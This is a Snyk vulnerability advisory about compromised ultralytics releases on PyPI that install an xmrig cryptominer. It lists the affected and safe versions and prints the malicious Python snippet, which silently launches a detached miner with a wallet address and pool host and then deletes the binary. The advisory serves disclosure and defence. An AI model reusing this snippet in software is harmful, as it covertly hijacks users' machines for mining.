Snyk has a published code exploit for this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsAvoid using all malicious instances of the ultralytics
package.
ultralytics is an Ultralytics YOLOv8 for SOTA object detection, multi-object tracking, instance segmentation, pose estimation and image classification.
Affected versions of this package are vulnerable to Malicious Embedded Code. These versions have been compromised to install an xmrig cryptominer when installed from PyPI (e.g. via default pip
options, without specifying a git URL).
The affected versions are: 8.3.41, 8.3.42, 8.3.45, 8.3.46
All previous versions from both PyPI and GitHub (up to and including 8.3.40) are not affected by this compromise. Additionally, 8.3.47 was released to PyPI manually to bypass the deployment steps which had been compromised in the malicious versions and is confirmed safe with respect to this issue.
Malicious code snippet:
def safe_run(path):
os.chmod(path, 0o770)
command = [
path,
'-u',
'4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
'-o',
'connect.consrensys.com:8080',
'-k'
]
process = subprocess.Popen(
command,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
preexec_fn=os.setsid,
close_fds=True
)
os.remove(path)